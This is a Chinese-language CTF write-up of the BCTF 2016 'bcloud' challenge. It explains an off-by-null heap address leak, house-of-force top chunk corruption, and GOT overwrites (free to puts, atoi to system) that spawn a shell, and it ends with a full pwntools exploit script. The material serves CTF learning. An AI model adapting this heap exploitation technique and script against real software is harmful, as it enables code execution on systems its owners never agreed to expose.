前言

这是 bctf 2016 的题,链接

https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200

相关资源

https://gitee.com/hac425/blog_data/tree/master/bcloud

正文

首先程序开启的保护

haclh@ubuntu:~/workplace/bcloud$ checksec bcloud
[*] '/home/haclh/workplace/bcloud/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

Partial RELRO 可以改 got

在  init_some 里面藏着两个非常隐蔽的漏洞。进去看看,首先调用 get_username 获取一个 name

首先使用 read_to_buf 获取 name, 最大大小为 0x40, 然后 malloc 一块内存用于存放 name,

如果我们输入 0x40 个字符, 那么 name[0x41] = \x00, 回到 get_username ,我们发现 nameptr 是相邻的

  char name; // [esp+1Ch] [ebp-5Ch]
char *ptr; // [esp+5Ch] [ebp-1Ch]

那么 name[0x41] 其实就是 ptr 最低字节(小端模式下), 在 read_to_buf 之后才通过  malloc 把分配的指针存在了 ptr, 所以 ptr 会覆盖掉 read_to_buf 中为字符串设置的 \x00 终结符(name[0x41] = \x00), 接着又用了

strcpy(ptr, &name);

来拷贝字符串,这就会把 ptr 的值也拷贝进  ptr 指向的堆内存(溢出)。拷贝完后,紧接着会调用 printf 打印 ptr 所指向的字符串,我们就可以泄露 堆地址

调试验证一下, 输入 0x40a, 然后在调用 strcpy 处下个断点。

可以看到, name 字符串的终结符 \x00 已经被 新分配的内存地址 0x0804c008 给吃掉了,调用 strcpy 就会把 ptr 的值一起拷贝进 新分配的内存 0x0804c008 , 接下来的 printf 就会打印出这个地址,这样就能拿到  堆地址 了。

回到 init_some 函数,接下来会调用 set_host_org

get_username 一样的漏洞

  char org_; // [esp+1Ch] [ebp-9Ch]
char *org_ptr; // [esp+5Ch] [ebp-5Ch]
int host_; // [esp+60h] [ebp-58h]
char *host_ptr; // [esp+A4h] [ebp-14h]

首先分配读入 org_  和 host_ ,然后分配 host_ptrorg_ptr, 其中 org_org_ptr 是相邻的 ,而 org_ptrhost_ 是相邻的,所以当输入 0x40 字节的  org_ 然后 到了最后的

strcpy(org_ptr, &org_);

就会 把 org_ , org_ptrhost_ 一起拷贝到  org_ptr 所指向的内存.

由于 org_ptr 是后面 malloc 的,所以 org_ptrtop chunk 相邻,于是我们就可以溢出 top chunk, org_ptr 的值会在 top chunkpre_size 为, 而 top chunksize 位则为 host_ 的开始 4 个字节。所以我们现在可以任意修改 top chunksize 位。

然后在 new_note 里面,我们可以控制分配的大小,而且我们可以 分配最多 10note

所以我们现在的能力

可以修改top chunk的 size
可以控制 malloc 的参数
可以malloc的次数 >= 2

house of force 搞起来,通过 house of force  我们可以 malloc 到任意地址。

先覆盖 top chunksize0xffffffff, 然后使用计算公式 ( 32 位)

evil_size = target_addr - 2 * 0x4 - top_chunk_addr

然后在

malloc(evil_size)
ptr = malloc(size)

那么 ptr 就是 target_addr + 2 * 0x4 了( pre_size + size = 2 * 4 )。

再配合程序的 edit_note 就可以实现 任意地址写。

任意地址写的实现如下

首先使用 house of force, 使得 note1 指向 note_ptr_table

接着操作 note1, 就是编辑 note_ptr_table 。同时每次对 note_ptr_table 的操作都要记得 note_ptr_table[1] = note_ptr_table, 这样可以维持编辑 note_ptr_table 的能力,同时在后面可以重用这部分代码来 进行 内存 写。

由于  note0size=evil_size ,其实这是个负数,测试时对 note0 进行 edit 有一两个字节写不进去,于是,多分配一个 note2, 用它来作为 ** 任意地址写** 的载体。

任意地址写的代码片段如下,(懒的抽出来重写一个函数了

为了 getshell, 还差一个 libc 的地址,然而程序里面没有提供 输出的功能,我们可以把 free@got 改成  puts@plt, 之后调用 free(ptr) 就是 puts(ptr) , 而 ptr 使我们可控的

于是任意地址读实现。

整理一下利用过程

  • get_name 处利用漏洞,拿到 heap 的地址,计算 top chunk 的地址
  • house of force 分配到 note_ptr_table 的地址
  • 利用 edit 功能实现任意地址写
  • free@got 改成  puts@plt,实现任意地址读
  • puts@got 拿到 libc 的基地址
  • 修改 aoti@gotsystem
  • 发送 sh , 触发 aoti("sh"), 实际执行的是 system("sh")

参考

http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html

最后的 exp

#/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import * # context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug')
p = process("./bcloud") gdb.attach(p,'''
bp 0x08048829
c
''')
pause() p.recvuntil("Input your name:")
p.send("a" * 0x40) p.recv(0x44)
p.recv(0x44)
heap = u32(p.recv(4)) - 0x8
top_chunk_addr = heap + 216 log.info("got heap: " + hex(heap))
log.info("got top_chunk_addr: " + hex(top_chunk_addr))
pause() p.recvuntil("Org:")
p.send("b" * 0x40) payload = p32(0xffffffff) # top chunk 的 size 位
payload += "c" * (0x40 - len(payload))
p.recvuntil("Host:")
p.send(payload) bss_addr = 0x0804B120 # note_ptr_table 的地址
evil_size = bss_addr - 8 - top_chunk_addr -8 # 计算一个size , 用于在第二次 malloc 是返回 bss_addr
log.info("evil_size: " + hex(evil_size))
log.info("set top chunk size: 0xffffffff")
pause() p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(evil_size - 4)) # malloc(len + 4), note0
p.recvuntil("Input the content:")
p.sendline("a" * 4) p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(0x40)) # 此时分配到 note1, note1 ---> bss_addr
p.recvuntil("Input the content:") free_got = 0x0804B014
puts_plt = 0x08048520
puts_got = 0x0804B024
payload = p32(free_got)
payload += p32(bss_addr) # 为了维持控制,使得 note_ptr_table[1] 的值始终为 note_ptr_table 的地址 p.sendline(payload) ## note 2
p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(0x40))
p.recvuntil("Input the content:")
p.sendline("a" * 4) log.info("note0--->free@got , note1--->ptr_table")
pause() p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(1))
p.recvuntil("Input the new content:") payload = p32(free_got)
payload += p32(bss_addr)
payload += p32(free_got) # target addr , 要写的地址
payload += p32(puts_got)
p.sendline(payload) p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(2))
p.recvuntil("Input the new content:")
p.sendline(p32(puts_plt)) # data to write,要写的数据 log.info("free@got ---> puts_plt")
pause() p.recvuntil("option--->>")
p.sendline("4")
p.recvuntil("Input the id:")
p.sendline(str(3)) libc = u32(p.recvuntil("Delete success.")[1:5]) - 0x5fca0
system = libc + 0x3ada0
log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
pause() p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(1))
p.recvuntil("Input the new content:") aoti_got = 0x0804B03C
payload = p32(free_got)
payload += p32(bss_addr)
payload += p32(aoti_got)
p.sendline(payload) p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(2))
p.recvuntil("Input the new content:")
p.sendline(p32(system)) log.info("aoti--->system")
pause() p.sendline("sh")
p.interactive()

Attack Top Chunk之 bcloud的更多相关文章

  1. Fastbin attack——Double Free

    ptmalloc ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割.回收等操作.在32位系统下,chunk头的大小为8 Bytes,且每个ch ...

  2. Tcahce Stashing Unlink Attack

    今年校赛有点可惜,最后两道质量不错的pwn每做出来,总的来说还是我太菜了,希望下次校赛能AK pwn题.不过这次校赛也没有白打,还是有学到新的东西的.在这里感谢出题的学长. glibc-2.29以后u ...

  3. Fastbin attack 总结

    Fastbin attack 本文参考了ctf-wiki 和glibc 要了解fastbin attack,我们先要了解fastbin的机制.由于libc2.26后加入了tcache机制,我们这里就只 ...

  4. Kali下使用libheap

    Kali下使用libheap 在github上,可以libheap用来帮助调试堆溢出.链接见:https://github.com/cloudburst/libheap 但是最后一次更新在一年前了,我 ...

  5. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  6. off by null 实战

    前言 off by null 是一个比较有意思的技术 下面通过 hctf2018 的 heapstrom_zero 实战一波. 相关文件(exp, 题目)位于 https://gitee.com/ha ...

  7. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  8. Pwn with File结构体(一)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

  9. Pwn with File结构体(三)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...

随机推荐

  1. sass安装及使用

    在Mac系统下,Ruby一般已内置在其中,如果您不能确认是否已安装,或者说你不知道你的Ruby使用的版本,你可以打开你的命令工具: $ ruby -v 安装sass 在大多数情况和大部分人群中,还是喜 ...

  2. C语言 for循环次数

    for (i = 0;i < n;i++) 则循环次数是N,而循环结束以后,i的值是n.循环的控制变量i,是选择从0开始还是从1开始,是判断i<n 还是i <= n,对循环的次数,循 ...

  3. (转)浅谈MySql的存储引擎(表类型)

    原文:http://www.cnblogs.com/lina1006/archive/2011/04/29/2032894.html 什么是MySql数据库 通常意义上,数据库也就是数据的集合,具体到 ...

  4. ubuntu16.04搭建hadoop集群环境

    1. 系统环境Oracle VM VirtualBoxUbuntu 16.04Hadoop 2.7.4Java 1.8.0_111 master:192.168.19.128slave1:192.16 ...

  5. Android 开发工具类 10_Toast 统一管理类

    Toast 统一管理类: 1.短时间显示Toast: 2.长时间显示 Toast: 3.自定义显示 Toast 时间. import android.content.Context; import a ...

  6. 电信固定ip宽带80与8080端口踩坑

    本文只是作为记录,避免后面遇到此类问题耗费时间. 实际情况:公司有个固定电信宽带是固定IP的,想把固定IP映射到测试环境ip,实现可以公网通过固定ip访问,内网通过局域网ip访问. 测试环境服务是占用 ...

  7. DirectorySearcher.Filter 属性(转)

    获取或设置一个值,该值的轻型目录访问协议 (LDAP) 格式筛选器字符串. 更多信息见:http://www.cnblogs.com/zhongweiv/archive/2013/01/05/ad_s ...

  8. Fiddler实现手机抓包——小白入门(转载csdn)

    手机用fiddler抓包 电脑最好是笔记本,这样能和手机保持统一局域网内:其他不多说,直接说步骤了. 一.对PC(笔记本)参数进行配置    1. 配置fiddler允许监听到https(fiddle ...

  9. 使用Python学习RabbitMQ消息队列

    rabbitmq基本管理命令: 一步启动Erlang node和Rabbit应用:sudo rabbitmq-server 在后台启动Rabbit node:sudo rabbitmq-server ...

  10. [转] Linux Daemon Writing HOWTO

    Linux Daemon Writing HOWTO Devin Watson v1.0, May 2004 This document shows how to write a daemon in ...